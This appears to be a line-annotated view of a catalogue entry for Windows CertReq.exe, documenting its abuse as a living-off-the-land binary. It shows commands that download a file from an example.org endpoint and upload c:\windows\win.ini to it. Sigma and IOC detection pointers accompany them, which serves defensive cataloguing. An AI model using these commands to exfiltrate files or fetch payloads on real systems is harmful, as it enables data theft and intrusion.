2020-07-07 22:09:06 +02:00
|
|
|
---
|
|
|
|
|
Name: CertReq.exe
|
|
|
|
|
Description: Used for requesting and managing certificates
|
|
|
|
|
Author: 'David Middlehurst'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2020-07-07
|
2020-07-07 22:09:06 +02:00
|
|
|
Commands:
|
|
|
|
|
- Command: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
|
|
|
|
|
Description: Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory
|
|
|
|
|
Usecase: Download file from Internet
|
|
|
|
|
Category: Download
|
|
|
|
|
Privileges: User
|
|
|
|
|
MitreID: T1105
|
2023-02-25 20:19:22 +01:00
|
|
|
OperatingSystem: Windows 10, Windows 11
|
2024-02-17 18:14:08 +01:00
|
|
|
- Command: CertReq -Post -config https://example.org/ c:\windows\win.ini
|
|
|
|
|
Description: Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST and show response in terminal
|
2020-07-07 22:09:06 +02:00
|
|
|
Usecase: Upload
|
|
|
|
|
Category: Upload
|
|
|
|
|
Privileges: User
|
|
|
|
|
MitreID: T1105
|
2023-02-25 20:19:22 +01:00
|
|
|
OperatingSystem: Windows 10, Windows 11
|
2020-07-07 22:09:06 +02:00
|
|
|
Full_Path:
|
|
|
|
|
- Path: C:\Windows\System32\certreq.exe
|
|
|
|
|
- Path: C:\Windows\SysWOW64\certreq.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2020-07-07 22:09:06 +02:00
|
|
|
- Code:
|
|
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
|
2020-07-07 22:09:06 +02:00
|
|
|
- IOC: certreq creates new files
|
|
|
|
|
- IOC: certreq makes POST requests
|
|
|
|
|
Resources:
|
|
|
|
|
- Link: https://dtm.uk/certreq
|
|
|
|
|
Acknowledgement:
|
|
|
|
|
- Person: David Middlehurst
|
|
|
|
|
Handle: '@dtmsecurity'
|
